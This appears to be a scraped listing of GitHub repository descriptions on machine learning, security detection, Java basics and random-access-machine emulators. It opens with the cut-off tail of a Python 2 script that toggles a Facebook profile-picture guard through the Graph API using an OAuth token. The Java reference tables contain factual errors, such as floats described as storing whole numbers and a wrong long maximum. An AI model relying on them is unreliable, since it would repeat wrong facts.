%s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
isarandi / BarecatEfficient data storage format optimized for random-access reads, especially in machine learning workflows
LayerXcom / GramA 64bit-TinyRAM simulator in Go
sowndkrish / ML Keystroke Dynamics Using Behavioural BiometricsThis thesis focuses on the effective classification of the behavior of users accessing computing devices to authenticate them. The authentication is based on keystroke dynamics, which captures the users behavioral biometric and applies machine learning concepts to classify them. The users type a strong passcode ”.tie5Roanl” to record their typing pattern. In order to confirm identity, anonymous data from 94 users were collected to carry out the research. Given the raw data, features were extracted from the attributes based on the button pressed and action timestamp events. The support vector machine classifier uses multi-class classification with one vs. one decision shape function to classify different users. To reduce the classification error, it is essential to identify the important features from the raw data. In an effort to confront the generation of features from attributes an efficient feature extraction algorithm has been developed, obtaining high classification performance are now being sought. To handle the multi-class problem, the random forest classifier is used to identify the users effectively.
bhagvank / QuantumAlgorithmsQuantum Algorithms, Quantum Machine Learning, Quantum Cognition, Quantum Walks, Quantum Random Access Memory
RumanaSk / Bank Marketting Campaign AnalysisPredict if the client will subscribe to direct marketing campaign for a banking institution Problem Statement: The data is related to direct marketing campaigns of a Portuguese banking institution. Predict if the client will subscribe to a term deposit based on a marketing campaign-Data Set Download: https://drive.google.com/drive/folders/1urwTQPkUypJ6dGDJgS9Gszb83bfXEG6z?usp=sharing Data Set Information: The data is related to direct marketing campaigns of a Portuguese banking institution. The marketing campaigns were based on phone calls. Often, more than one contact to the same client was required, in order to access if the product (bank term deposit) would be ('yes') or not ('no') subscribed. There are four datasets: 1. bank-additional-full.csv with all examples (41188) and 20 inputs, ordered by date (from May 2008 to November 2010), very close to the data analyzed in [Moro et al., 2014] 2. bank-additional.csv with 10% of the examples (4119), randomly selected from 1), and 20 inputs. 3. bank-full.csv with all examples and 17 inputs, ordered by date (older version of this dataset with fewer inputs). 4. bank.csv with 10% of the examples and 17 inputs, randomly selected from 3 (older version of this dataset with fewer inputs). The smallest datasets are provided to test more computationally demanding machine learning algorithms Goal:- The classification goal is to predict if the client will subscribe (yes/no) a term deposit (variable y).
js-eng / ML Detection Of Phishing WebsiteIn todays era, due to the surge in the usage of internet and other online platforms, security has been a major concern. Many cyber attacks take place each day out of which website phishing is the most common issue. It is an act of imitating a legitimate website and thereby duping the users and stealing their sensitive information. So, with respect to this problem this paper will introduce a possible solution in order to avoid such attacks by checking whether the provided URLs are phishing URL or legitimate URL. It is basically a Machine Learning based system particularly supervised learning where we have provided 2000 phishing and 2000 legitimate URL dataset. We have taken into consideration Random Forest algorithm due to its performance and accuracy. It takes 9 features into consideration and hence detects whether the URL is safe to access or a phishing URL.
ishanchaudhari / Improvement Of Ransomware Detection Using MLA challenge that governments, enterprises as well as individuals are constantly facing is the growing threat of ransomware attacks. Ransomware is a type of malware that encrypts the user’s files and then demands a huge sum of money from the user. This increasing complexity calls for more advancement and innovative ideas in defensive strategies used to tackle the problems. In this paper, firstly we discuss the existing research in the field of ransomware detection techniques and their shortcomings. Secondly, a juxtaposed study on various machine learning algorithms to detect ransomware attacks is explained. Various behavioural data such as API Calls, Target files, Registry Operations, Signature, Network Accesses were collected for each ransomware and benign sample. These collected samples were used to train Machine Learning Algorithms like KNN, Naïve Bayes, Random Forest, Decision Trees. Further optimization was done using hyperparameters. Finally, we have used the model(s) Accuracy, F1 Score, Precision and Recall to compare the results observed. The acquired result can be used further for the improvement of various antivirus systems in detecting ransomware softwares.
rishabhathiya / Bank Marketing# Bank Marketing Dataset ## Marketing Introduction: The process by which companies create value for customers and build strong customer relationships in order to capture value from customers in return. - Kotler and Armstrong (2010). Marketing campaigns are characterized by focusing on the customer needs and their overall satisfaction. Nevertheless, there are different variables that determine whether a marketing campaign will be successful or not. There are certain variables that we need to take into consideration when making a marketing campaign. ## The 4 Ps: 1) Segment of the Population: To which segment of the population is the marketing campaign going to address and why? This aspect of the marketing campaign is extremely important since it will tell to which part of the population should most likely receive the message of the marketing campaign. 2) Distribution channel to reach the customer's place: Implementing the most effective strategy in order to get the most out of this marketing campaign. What segment of the population should we address? Which instrument should we use to get our message out? (Ex: Telephones, Radio, TV, Social Media Etc.) 3) Price: What is the best price to offer to potential clients? (In the case of the bank's marketing campaign this is not necessary since the main interest for the bank is for potential clients to open depost accounts in order to make the operative activities of the bank to keep on running.) 4) Promotional Strategy: This is the way the strategy is going to be implemented and how are potential clients going to be address. This should be the last part of the marketing campaign analysis since there has to be an indepth analysis of previous campaigns (If possible) in order to learn from previous mistakes and to determine how to make the marketing campaign much more effective. ## What is a Term Deposit? A Term deposit is a deposit that a bank or a financial institurion offers with a fixed rate (often better than just opening deposit account) in which your money will be returned back at a specific maturity time. For more information with regards to Term Deposits please click on this link from Investopedia: https://www.investopedia.com/terms/t/termdeposit.asp ## Outline: 1. Import data from dataset and perform initial high-level analysis: look at the number of rows, look at the missing values, look at dataset columns and their values respective to the campaign outcome. 2. Clean the data: remove irrelevant columns, deal with missing and incorrect values, turn categorical columns into dummy variables. 3. Use machine learning techniques to predict the marketing campaign outcome and to find out factors, which affect the success of the campaign. ## Dataset Link https://archive.ics.uci.edu/ml/datasets/Bank+Marketing ## Dataset Information The data is related with direct marketing campaigns of a Portuguese banking institution. The marketing campaigns were based on phone calls. Often, more than one contact to the same client was required, in order to access if the product (bank term deposit) would be ('yes') or not ('no') subscribed. There are four datasets: 1) bank-additional-full.csv with all examples (41188) and 20 inputs, ordered by date (from May 2008 to November 2010), very close to the data analyzed in [Moro et al., 2014] 2) bank-additional.csv with 10% of the examples (4119), randomly selected from 1), and 20 inputs. 3) bank-full.csv with all examples and 17 inputs, ordered by date (older version of this dataset with less inputs). 4) bank.csv with 10% of the examples and 17 inputs, randomly selected from 3 (older version of this dataset with less inputs). The smallest datasets are provided to test more computationally demanding machine learning algorithms (e.g., SVM). The classification goal is to predict if the client will subscribe (yes/no) a term deposit (variable y). ## Attribute Information Input variables: #### bank client data: 1-age (numeric) 2-job : type of job (categorical: 'admin.','blue-collar','entrepreneur','housemaid','management','retired','self-employed','services','student','technician','unemployed','unknown') 3-marital : marital status (categorical: 'divorced','married','single','unknown'; note: 'divorced' means divorced or widowed) 4-education(categorical:'basic.4y','basic.6y','basic.9y','high.school','illiterate','professional.course','university.degree','unknown') 5-default: has credit in default? (categorical: 'no','yes','unknown') 6-housing: has housing loan? (categorical: 'no','yes','unknown') 7-loan: has personal loan? (categorical: 'no','yes','unknown') #### related with the last contact of the current campaign: 8-contact: contact communication type (categorical: 'cellular','telephone') 9-month: last contact month of year (categorical: 'jan', 'feb', 'mar', ..., 'nov', 'dec') 10-day_of_week: last contact day of the week (categorical: 'mon','tue','wed','thu','fri') 11-duration: last contact duration, in seconds (numeric). Important note: this attribute highly affects the output target (e.g., if duration=0 then y='no'). Yet, the duration is not known before a call is performed. Also, after the end of the call y is obviously known. Thus, this input should only be included for benchmark purposes and should be discarded if the intention is to have a realistic predictive model. #### other attributes: 12-campaign: number of contacts performed during this campaign and for this client (numeric, includes last contact) 13-pdays: number of days that passed by after the client was last contacted from a previous campaign (numeric; 999 means client was not previously contacted) 14-previous: number of contacts performed before this campaign and for this client (numeric) 15-poutcome: outcome of the previous marketing campaign (categorical: 'failure','nonexistent','success') #### social and economic context attributes 16-emp.var.rate: employment variation rate - quarterly indicator (numeric) 17-cons.price.idx: consumer price index - monthly indicator (numeric) 18-cons.conf.idx: consumer confidence index - monthly indicator (numeric) 19-euribor3m: euribor 3 month rate - daily indicator (numeric) 20-nr.employed: number of employees - quarterly indicator (numeric) Output variable (desired target): 21-y - has the client subscribed a term deposit? (binary: 'yes','no') ## License This dataset is public available for research. Citations - 1.Moro et al., 2014] S. Moro, P. Cortez and P. Rita. A Data-Driven Approach to Predict the Success of Bank Telemarketing. Decision Support Systems, Elsevier, 62:22-31, June 2014 2.Dua, D. and Graff, C. (2019). UCI Machine Learning Repository [http://archive.ics.uci.edu/ml]. Irvine, CA: University of California, School of Information and Computer Science.
Tech-with-Vidhya / Productionized Docker ML Model Application Into Kubernetes Cluster Using AWS EKS CloudFormation EMRThis project covers the end to end implementation of deploying and productionizing a dockerized/containerized machine learning python flask application into Kubernetes Cluster using the AWS Elastic Kubernetes Service (EKS), AWS Serverless Fargate Instances, AWS CloudFormation Cloud Stack and AWS Elastic Container Registry (ECR) Service. The machine learning business case implemented in this project includes a bank note authentication binary classifier model using Random Forest Classifier; which predicts and classifies a bank note either as a Fake Bank Note (Label 0) or a Genuine Bank Note (Label 1). Implementation Steps: 1. Creation of an end to end machine learning solution covering all the ML life-cycle steps of Data Exploration, Feature Selection, Model Training, Model Validation and Model Testing on the unseen production data. 2. Saved the finalised model as a pickle file. 3. Creation of a Python Flask based API; in order to render the ML model solution and inferences to the end-users. 4. Verified and tested the working status of the Python Flask API in the localhost set-up. 5. Creation of a Docker File (containing the steps/instructions to create a docker image) for the Python Flask based Bank Note Authentication Machine Learning Application embedded with Random Forest ML Classifier Model. 6. Creation of IAM Service Roles with appropriate policies to access the AWS Elastic Container Registry (ECR) Service and AWS Elastic Kubernetes Service (EKS) and AWS CloudFormation Service. 7. Created a new EC2 Linux Server Instance in AWS and copied the web application project’s directories and its files into the AWS Linux Server using SFTP linux commands. 8. Installed the Docker software and the supporting python libraries in the AWS EC2 Linux Server Instance; as per the “requirements.txt” file. 9. Transformation of the Docker File into a Docker Image and Docker Container representing the application; using docker build and run commands. 10. Creation of a Docker Repository within the AWS ECR Service and pushed the application docker image into the repository using AWS Command Line Interface (CLI) commands. 11. Creation of the Cloud Stack with private and public subnets using the AWS CloudFormation Service with appropriate IAM roles and policies. 12. Creation of the Kubernetes Cluster using the AWS EKS Service with appropriate IAM roles and policies and linked the cloud stack created using the AWS CloudFormation Service. 13. Creation of the AWS Serverless Fargate Profile and Fargate instances/nodes. 14. Creation and configured the “Deployment.yaml” and “Service.yaml” files using the Kubernetes kubectl commands. 15. Applied the “Deployment.yaml” with pods replica configuration to the AWS EKS Cluster Fargate Nodes; using the Kubernetes kubectl commands. 16. Applied the “Service.yaml” using the Kubernetes kubectl commands; to render and service the machine learning application to the end-users for public access with the creation of the production end-point. 17. Verified and tested the inferences of the productionized ML Application using the AWS Fargate end-point created in the AWS Kubernetes EKS Cluster. Tools & Technologies: Python, Flask, AWS, AWS EC2, Linux Server, Linux Commands, Command Line Interface (CLI), Docker, Docker Commands, AWS ECR, AWS IAM, AWS CloudFormation, AWS EKS, Kubernetes, Kubernetes kubectl Commands.
nirav1997 / Graph Network PropertiesNetwork Properties in Spark GraphFrames In this project, you will implement various network properties using pySpark and GraphFrames. You may need to look into the documentation for GraphFrames and networkx to complete this project. In addition to implementing these network metrics, you will be required to answer some questions when applying these metrics on real world and synthetic networks. Submission Requirements Please create a zip file containing ONLY the following for this project : 0. Do NOT include the data or any extra files. 1. degree.py 2. centrality.py 3. articulations.py 4. A pdf document containing answers to the questions asked in the project description. [Power law questions for Stanford and the 4 random graphs provided in degree.py, answers for the two questions on centrality, answer for the closeness question). Name this as <your_unity_id>.pdf 5. [OPTIONAL] Script for checking power law (if you have written something). Instructions to run in the pdf document which contains the answers to the questions asked in project description. 6. Output for centrality.py saved in a csv file called centrality_out.csv 7. Output for articulations.py saved in a csv file called articulations_out.csv For articulations problem, you may just run it with networkx approach (5 mins run time) and save the output in the file articulations_out.csv. We will be evaluating the project using a script. So please make sure you follow the instructions, or your assignment might not get graded. Degree Distribution The degree distribution is a measure of the frequency of nodes that have a certain degree. Implement a function degreedist, which takes a GraphFrame object as input and computes the degree distribution of the graph. The function should return a DataFrame with two columns: degree and count. For the graphs provided to you, test and report which graphs are scalefree, namely whose degree distribution follows a power law, at least asymptotically. That is, the fraction P(k) of nodes in the network having k connections to other nodes goes for large values of k as P(k) ~ k−γ where γ is a parameter whose value is typically in the range 2 < γ < 3, although occasionally it may lie outside these bounds. Answer the following questions: 1. Generate a few random graphs. You can do this using networkx’s random graph generators. Do the random graphs you tested appear to be scale free? (Include degree distribution with your answer). 2. Do the Stanford graphs provided to you appear to be scale free? Note that GraphFrames represents all graphs as directed, so every edge in the undirected graphs provided or generated must be added twice, once for each direction. When finding if the degrees follow a power law you can then use either the indegree or outdegree, as they should be equal. Centrality Centrality measures are a way to determine nodes that are important based on the structure of the graph. Closeness centrality measures the distance of a node to all other nodes. We will define the closeness centrality as CC(v) =1/ ∑ d(u,v) u∈V where d(u, v) is the shortestpath distance between u and v. Implement the function closeness, which takes a GraphFrame object as input and computes the closeness centrality of every node in the graph. The function should return a DataFrame with two columns: id and closeness. Consider a small network of 10 computers, illustrated below, with nodes representing computers and edges representing direct connections of two machines. If two computers are not connected directly, then the information must flow through other connected machines. Answer the following questions about the graph: 1. Rank the nodes from highest to lowest closeness centrality. 2. Suppose we had some centralized data that would sit on one machine but would be shared with all computers on the network. Which two machines would be the best candidates to hold this data based on other machines having few hops to access this data? Articulation Points Articulation points, or cut vertices, are vertices in the graph that, when removed, create more components than there were originally. For example, in the simple chain 1-2-3, there is a single component. However, if vertex 2 were removed, there would be 2 components. Thus, vertex 2 is an articulation point. Implement the function articulations, which takes a GraphFrame object as input and finds all the articulation points of a graph. The function should return a DataFrame with two columns, id and articulation, where articulation is a 1 if the node is an articulation point, otherwise a 0. Suppose we had the terrorist communication network given in the file 9_11_edgelist.txt . If our goal was to disrupt the flow of communication between different groups, isolating the articulation points would be a good way to do this. Answer the following questions: 1. In this example, which members should have been targeted to best disrupt communication in the organization?
sanusanth / Java All Basic Program Part 2What is Java? Java is a popular programming language, created in 1995. It is owned by Oracle, and more than 3 billion devices run Java. It is used for: Mobile applications (specially Android apps) Desktop applications Web applications Web servers and application servers Games Database connection And much, much more! Why Use Java? Java works on different platforms (Windows, Mac, Linux, Raspberry Pi, etc.) It is one of the most popular programming language in the world It is easy to learn and simple to use It is open-source and free It is secure, fast and powerful It has a huge community support (tens of millions of developers) Java is an object oriented language which gives a clear structure to programs and allows code to be reused, lowering development costs As Java is close to C++ and C#, it makes it easy for programmers to switch to Java or vice versa Setup for Windows To install Java on Windows: Go to "System Properties" (Can be found on Control Panel > System and Security > System > Advanced System Settings) Click on the "Environment variables" button under the "Advanced" tab Then, select the "Path" variable in System variables and click on the "Edit" button Click on the "New" button and add the path where Java is installed, followed by \bin. By default, Java is installed in C:\Program Files\Java\jdk-11.0.1 (If nothing else was specified when you installed it). In that case, You will have to add a new path with: C:\Program Files\Java\jdk-11.0.1\bin Then, click "OK", and save the settings At last, open Command Prompt (cmd.exe) and type java -version to see if Java is running on your machine Keyword Description abstract A non-access modifier. Used for classes and methods: An abstract class cannot be used to create objects (to access it, it must be inherited from another class). An abstract method can only be used in an abstract class, and it does not have a body. The body is provided by the subclass (inherited from) assert For debugging boolean A data type that can only store true and false values break Breaks out of a loop or a switch block byte A data type that can store whole numbers from -128 and 127 case Marks a block of code in switch statements catch Catches exceptions generated by try statements char A data type that is used to store a single character class Defines a class continue Continues to the next iteration of a loop const Defines a constant. Not in use - use final instead default Specifies the default block of code in a switch statement do Used together with while to create a do-while loop double A data type that can store whole numbers from 1.7e−308 to 1.7e+308 else Used in conditional statements enum Declares an enumerated (unchangeable) type exports Exports a package with a module. New in Java 9 extends Extends a class (indicates that a class is inherited from another class) final A non-access modifier used for classes, attributes and methods, which makes them non-changeable (impossible to inherit or override) finally Used with exceptions, a block of code that will be executed no matter if there is an exception or not float A data type that can store whole numbers from 3.4e−038 to 3.4e+038 for Create a for loop goto Not in use, and has no function if Makes a conditional statement implements Implements an interface import Used to import a package, class or interface instanceof Checks whether an object is an instance of a specific class or an interface int A data type that can store whole numbers from -2147483648 to 2147483647 interface Used to declare a special type of class that only contains abstract methods long A data type that can store whole numbers from -9223372036854775808 to 9223372036854775808 module Declares a module. New in Java 9 native Specifies that a method is not implemented in the same Java source file (but in another language) new Creates new objects package Declares a package private An access modifier used for attributes, methods and constructors, making them only accessible within the declared class protected An access modifier used for attributes, methods and constructors, making them accessible in the same package and subclasses public An access modifier used for classes, attributes, methods and constructors, making them accessible by any other class requires Specifies required libraries inside a module. New in Java 9 return Finished the execution of a method, and can be used to return a value from a method short A data type that can store whole numbers from -32768 to 32767 static A non-access modifier used for methods and attributes. Static methods/attributes can be accessed without creating an object of a class strictfp Restrict the precision and rounding of floating point calculations super Refers to superclass (parent) objects switch Selects one of many code blocks to be executed synchronized A non-access modifier, which specifies that methods can only be accessed by one thread at a time this Refers to the current object in a method or constructor throw Creates a custom error throws Indicates what exceptions may be thrown by a method transient A non-accesss modifier, which specifies that an attribute is not part of an object's persistent state try Creates a try...catch statement var Declares a variable. New in Java 10 void Specifies that a method should not have a return value volatile Indicates that an attribute is not cached thread-locally, and is always read from the "main memory" while Creates a while loop Method Description Return Type charAt() Returns the character at the specified index (position) char codePointAt() Returns the Unicode of the character at the specified index int codePointBefore() Returns the Unicode of the character before the specified index int codePointCount() Returns the Unicode in the specified text range of this String int compareTo() Compares two strings lexicographically int compareToIgnoreCase() Compares two strings lexicographically, ignoring case differences int concat() Appends a string to the end of another string String contains() Checks whether a string contains a sequence of characters boolean contentEquals() Checks whether a string contains the exact same sequence of characters of the specified CharSequence or StringBuffer boolean copyValueOf() Returns a String that represents the characters of the character array String endsWith() Checks whether a string ends with the specified character(s) boolean equals() Compares two strings. Returns true if the strings are equal, and false if not boolean equalsIgnoreCase() Compares two strings, ignoring case considerations boolean format() Returns a formatted string using the specified locale, format string, and arguments String getBytes() Encodes this String into a sequence of bytes using the named charset, storing the result into a new byte array byte[] getChars() Copies characters from a string to an array of chars void hashCode() Returns the hash code of a string int indexOf() Returns the position of the first found occurrence of specified characters in a string int intern() Returns the index within this string of the first occurrence of the specified character, starting the search at the specified index String isEmpty() Checks whether a string is empty or not boolean lastIndexOf() Returns the position of the last found occurrence of specified characters in a string int length() Returns the length of a specified string int matches() Searches a string for a match against a regular expression, and returns the matches boolean offsetByCodePoints() Returns the index within this String that is offset from the given index by codePointOffset code points int regionMatches() Tests if two string regions are equal boolean replace() Searches a string for a specified value, and returns a new string where the specified values are replaced String replaceFirst() Replaces the first occurrence of a substring that matches the given regular expression with the given replacement String replaceAll() Replaces each substring of this string that matches the given regular expression with the given replacement String split() Splits a string into an array of substrings String[] startsWith() Checks whether a string starts with specified characters boolean subSequence() Returns a new character sequence that is a subsequence of this sequence CharSequence substring() Extracts the characters from a string, beginning at a specified start position, and through the specified number of character String toCharArray() Converts this string to a new character array char[] toLowerCase() Converts a string to lower case letters String toString() Returns the value of a String object String toUpperCase() Converts a string to upper case letters String trim() Removes whitespace from both ends of a string String valueOf() Returns the primitive value of a String object String Method Description Return Type abs(x) Returns the absolute value of x double|float|int|long acos(x) Returns the arccosine of x, in radians double asin(x) Returns the arcsine of x, in radians double atan(x) Returns the arctangent of x as a numeric value between -PI/2 and PI/2 radians double atan2(y,x) Returns the angle theta from the conversion of rectangular coordinates (x, y) to polar coordinates (r, theta). double cbrt(x) Returns the cube root of x double ceil(x) Returns the value of x rounded up to its nearest integer double copySign(x, y) Returns the first floating point x with the sign of the second floating point y double cos(x) Returns the cosine of x (x is in radians) double cosh(x) Returns the hyperbolic cosine of a double value double exp(x) Returns the value of Ex double expm1(x) Returns ex -1 double floor(x) Returns the value of x rounded down to its nearest integer double getExponent(x) Returns the unbiased exponent used in x int hypot(x, y) Returns sqrt(x2 +y2) without intermediate overflow or underflow double IEEEremainder(x, y) Computes the remainder operation on x and y as prescribed by the IEEE 754 standard double log(x) Returns the natural logarithm (base E) of x double log10(x) Returns the base 10 logarithm of x double log1p(x) Returns the natural logarithm (base E) of the sum of x and 1 double max(x, y) Returns the number with the highest value double|float|int|long min(x, y) Returns the number with the lowest value double|float|int|long nextAfter(x, y) Returns the floating point number adjacent to x in the direction of y double|float nextUp(x) Returns the floating point value adjacent to x in the direction of positive infinity double|float pow(x, y) Returns the value of x to the power of y double random() Returns a random number between 0 and 1 double round(x) Returns the value of x rounded to its nearest integer int rint() Returns the double value that is closest to x and equal to a mathematical integer double signum(x) Returns the sign of x double sin(x) Returns the sine of x (x is in radians) double sinh(x) Returns the hyperbolic sine of a double value double sqrt(x) Returns the square root of x double tan(x) Returns the tangent of an angle double tanh(x) Returns the hyperbolic tangent of a double value double toDegrees(x) Converts an angle measured in radians to an approx. equivalent angle measured in degrees double toRadians(x) Converts an angle measured in degrees to an approx. angle measured in radians double ulp(x) Returns the size of the unit of least precision (ulp) of x double|float
shilangyu / Ram RunnerA simple interpreter for the mathematical random-access machine
AVO-cado-team / RamemuRandom Access Machine Emulator
simonkoennecke / RamRandom Access Machine Emulator
